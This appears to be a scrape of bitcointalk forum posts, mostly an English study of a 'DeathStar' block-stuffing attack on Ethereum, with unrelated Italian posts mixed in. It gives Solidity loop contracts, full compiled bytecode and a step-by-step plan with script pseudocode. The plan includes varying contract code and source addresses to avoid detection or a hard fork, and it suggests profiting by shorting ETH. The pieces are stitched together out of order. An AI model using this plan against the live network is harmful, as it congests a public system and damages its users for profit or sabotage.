pragma solidity ^ 0.6.0;
contract DeathStar_b
   {
   function DeathLoop_b () public payable returns (bool)
      {
      while (true)
              {
              }
 
      return (true);
     }
   }
   }

Brief description of the dynamics of the BlockStuffing attack:

1) launch your own geth node: geth --syncmode "light" --mainnet
    It will  instantly synchronize because it downloads the previous blockchain.
    We will be necessarily autonomous and not pass trough proprietary API’s that could ban us during the attack.

2) pre-load a certain number of deathStar smart-contracts on the network,
    each at a different address and with slightly different code (DeathStar_a, DeathStar_b, etc. ), to make it difficult either for mining pools to recognize us or for developer recognise the necessity of a possible hard fork,
   3) Find an adequate number of ETH, based on the duration of the attack and the current gas coast in gwei, and pre-load them on a certain number of source addresses.
   (15,000,000 average block size * (gas cost in gwei + incentive fee (Tip) to be certainly included in hte block)) / 1,000,000,000= cost in ETH for a 15 seconds attack)

4) create a script (python, perl, c, go .... or any language of your choice) that uses RPC calls on geth and does more or less the things summarized here:

Code:

# if DeathLoop_a stops working,
# switch to DeathLoop_b and so on.
CalledDeathStar = Deathloop_a

while (newly mined block)
   {
   reads the current baseFeePerGas and BlockGasLimit. 
   calculates GasBurned = BlockGasLimit-X (where X is used to leave a small space for other transactions as well, to be decided if X> 0)
   calculates the transaction fees: MaxFeePerGas (in gwei) = BaseFeePerGas + Tip 
       (where Tip is the percentage that goes to miners, let's say 20%, to be sure to be included in the next block, eventually use MEV techniques to maximize efficiency)
   create a transaction with gasLimit = GasBurned, MaxFeePerGas, which executes the CalledDeathStar smart contract from a random address selected amongst the origin address list.
       (the origin address also should vary to avoid being easily recognized and blocked )

   # optional
   while (our transaction is not included in a mined block)
     {
     use MEV techniques to check in the mempool the fees of other transactions
     If higher fees transactions have been loaded
            Eventually adjust the fees for our transaction by re-entering a transaction with the same nonce and modified fee.
     }
   }

5) run the script.


Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study.

References:

[1]ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER
[2]The Anatomy of a Block Stuffing Attack
[3]A Survey on Ethereum Systems Security: Vulnerabilities, Attacks, and Defenses
[4]How to Fix Ethereum’s MEV Problem and Give Traders the Best Price
[5]Ethereum is a Dark Forest
[6]How Bitcoin and Ethereum solved the Halting Problem differently
[7]Why is Bitcoin not Turing complete?

Avete idea se c'e' un modo per pagare MUBI, la piattaforma di film d'essai, direttamente in bitcoin?

[Attacking the Ethereum network: a possible strategy.]

Attacking the Ethereum network: a possible strategy.
By gbianchi bitcointalk.org
Translated by fillippone.

This study stems from some observations:

• in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
• each "smart contract" behaves by design like a virus, that is, if run, automatically executed on all nodes, precisely because of the principle of decentralization, each node must re-execute the code to verify the work done by others and reach a consensus together with all the other nodes;
• the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction.
• smart contracts are normally written in Solidity but are then compiled and translated into EVM machine language and Solidity gives the possibility to write directly in EVM assembler language;
  
• once entered, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.

Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs as little as possible, and which "burns" ethers only to compete with the other smart contracts on the various nodes, and obtain as many processing resources as possible, slowing down and stagnating the execution of all other smart contracts.

A group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example:

• Being supporters of another competing blockchain protocol.
• Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
• Cause problems to one or more of the various smart contracts running on Ethereum.

In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running there could use this line of attack.

DeathStar technical description

The Ethereum yellow paper is the official source of information.
 
Inside there are (among many other things) the description of the EVM (Ethereum Virtual Machine) opcodes and the tables of the gas cost of each opcode.

It turns out that each smart contract is compiled and converted into an EVM machine opcode, and from the table "Appendix G FEE SCHEDULE" it is stated that these opcodes have costs ranging from 0 gas (OPcode STOP, RETURN, REVERT) up to 20,000 gas or more for data store opcode, 32,000 gases for CREATE etc.

Let us now introduce the concept of average cost per opcode. A smart contract is composed of a set of opcodes that form the smart contract’s logic, therefore functional calls, logical operations, calculations, storage of results, etc.

The execution of a smart contract will therefore be the execution of many of these opcodes, with various costs, which ultimately lead to the total cost of the execution.

Suppose that a smart contract executes these opcodes:
10 of 3 gases, 5 of 8 gases, one of 700 gases and one of 20,000 gases (storage operations are very expensive).
We will therefore have a total cost of 30 + 40 + 700 + 20,000 = 20770 gas for 17 opcodes. The average cost per opcode will therefore be 1221.76 gas.

In order to be the most "competitive" smart contract in terms of cost per opcode, DeathStar will have to be designed around an opcode that costs as little as possible, to have the lowest average cost per opcode possible.

You cannot use cost 0 opcodes (STOP, RETURN, REVERT) as they all terminate the execution of the smart contract.

So let's move on to the only opcode at the cost of 1 gas: JUMPDEST.
Jumpdest is an opcode that does almost nothing except "Mark a valid destination for jump". It does not push and/or pop from the stack, it does nothing but set a position where you can jump with a JUMP.

The idea is to wrap a series of JUMPDEST opcodes in a loop, in such a way as to lower as much as possible the average cost per opcode to execute this loop, to make it close to 1 gas per opcode, target to which none smart contract that implements some logic will never even remotely arrive.

But remember our purpose is not to have a logic (in fact from a processing point of view this code does not produce anything, it has no logic) it is simply to have the lowest possible average cost per opcode, to execute with a certain sum the largest possible number of opcodes that "drain" computing resources from the network.

The last note we need to know is that ethereum has a very simple criterion for "breaking" infinite loops (the Turing Halting Problem): it ends them when the funds run out. So by appropriately loading the smart contract with funds, it will continue to run, scaling a gas to opcode (on average)  in competition with other much more expensive smart contracts in terms of average cost to opcode, which is exactly the purpose that we were set to: Have a smart contract that burns ethereum at the lowest possible cost competing with others mart running contracts that will have far higher average costs per opcode.

A "trick" that helps us to obtain the binary code is that in the old versions of solidity (up to version 0.4) it was possible to enter tags for jump instructions in assembler and that these tags were implemented with Jumpdest opcodes, then using a sole compiler of version 0.4.x the code is compiled in an instant.
Coincidentally, this coding technique is no longer possible in new compilers.



DeathStar code:
[/list]

Code:

pragma solidity ^0.4.0;

// The presence of the payable modifier means that the function can process transactions with non-zero Ether value.
// If a transaction that transfers Ether comes to the contract and calls some function X,
// then if this function X does not have the payable modifier, then the transaction will be rejected.

// Add a fake input and ouput value, so simulate a some logic.
// Note the final code is never excecuted.


contract DeathStar
   {
   function DeathLoop(uint x)  public payable returns (bool)
      {
      assembly
       {
       // jumpdest price 1 gas
       loop000:
       loop001:
       loop002:
       loop003:
       loop004:
       ...
       loop996:
       loop997:
       loop998:
       loop999:
       // push address stack+1 price  Wverylow=3gas
       // jmp address  stack-1 price  Wmid=8gas
       jump(loop000)
       }

     // fake code never executed
     if (x > 5) return(true);
     else       return(false);
     }
   }

Once compiled, it is shown as:

Code:

...

JUMPDEST
JUMPDEST
JUMPDEST
...
JUMPDEST
JUMPDEST
PUSH2 0x6E
JUMP

With 1000 jumpdest (each loopxxx tag: generates a jumpdest) + a push (cost 3 gas) + a jump (cost 8 gas) we have 1002 opcode at 1011 gas the average cost per opcode of the loop is therefore around 1.0089 gas.
Assuming a gas cost of 36 Gwei, we have an average cost per instruction of 36.32 Gwei per opcode, i.e. with a single Ethereum we can perform 27,500,000 opcodes.
Note that adding more jumpdest lengthens the code but improves the average cost per opcode very marginally, I don't think it's worth it.

Binary code of the compiled smart contract:

Binary:

Code:

6060604052341561000c57fe5b5b6104958061001c6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636e62ff351461003b575bfe5b610051600480803590602001909190505061006b565b604051808215151515815260200191505060405180910390f35b60005b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b61006e565b60009050610464565b5b9190505600a165627a7a72305820b5446b266264bd3c7a82cb31fb01f7458fbd7dd1815773c5a6f5c0bc86dabb8f0029

Thanks to the guys from the Italian community of bitcointalk.org (filippone, acquafredda, HostFat, jack0m and others) who gave me interesting ideas for the realization of this study.

References:

ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER
The Ethereum Virtual Machine — How does it work?
WHAT IS ETHEREUM MINING?
Does every node execute the contract code for each transaction?
Smart contract execution without making transaction on ethereum blockchain
View/Pure Gas usage - Cost gas if called internally by another function?
What is the difference between a transaction and a call?
Calls vs. transactions in Ethereum smart contracts
How Bitcoin and Ethereum solved the Halting Problem differently
Why is Bitcoin not Turing complete?

Qualcuno conosce questo sito https://www.bitdials.eu  ?

Sono affidabili o ti arrivano delle patacche?

Scusate, sono un po' OT (parlo di ethereum e non Bitcoin)
ma l'argomento potrebbe essere interessante.

Premesso che non seguo piu' ethereum da molto tempo,
con l'hard fork london, in una sola botta sono state inserite una serie di innovazioni tecniche
che in passato avrebbero quasi certamente causato degli split in piu' chain (e quindi la nascita di nuove coin)

    EIP-1559: Fee market change for ETH 1.0 chain
    EIP-3198: BASEFEE opcode
    EIP-3529: Reduction in refunds
    EIP-3541: Reject new contracts starting with the 0xEF byte
    EIP-3554: Difficulty Bomb Delay to December 1st 2021

Come si vede sono tutte questioni molto delicate, che apparentemente hanno causato poche discussioni
e tantomeno lo split della chain.

Ho provato ad approfondire un po' cosa e' davvero successo guardando i dati sul sito
https://ethernodes.org/

dalla prima pagina risuta che esistono (adesso) 4668 nodi attivi.

dalla pagina ufficiale dell'aggiornamento del fork https://blog.ethereum.org/2021/07/15/london-mainnet-announcement/
queste risultano le versioni dei software compatibili al fork London:

Client    Version Number    Download Link
go-ethereum (geth)    1.10.5 1.10.6    Download
Nethermind    1.10.77 1.10.79    Download
Erigon (f.k.a. TurboGeth)    2021.07.03-alpha 2021.07.04-alpha    Download
Besu    21.7.1 21.7.2    Download
OpenEthereum (f.k.a. Parity)    v3.3.0-rc.4    Download
EthereumJS VM    v5.5.0    Download

Se guardiamo il client piu' usato che e' geth risulta che ce ne sono (adesso) 3400,
ma solamente 2400 sono aggiornati ad una release adeguata ossia la 1.10.6
quindi 1000 client, ossia il 29% circa (percentuale non certo marginale)
non sono aggiornati e quindi dovrebbero rigettare i blocchi London.
E visto che una modifica riguarda il trattamento delle fee, e' una modifica che
si riperquote su TUTTI i blocchi.

Insomma,  tecnicamente la cosa non mi torna.

Qualuno segue ethereum piu' da vicino e sa darmi qualche ragguaglio
in merito a queste discrepanze?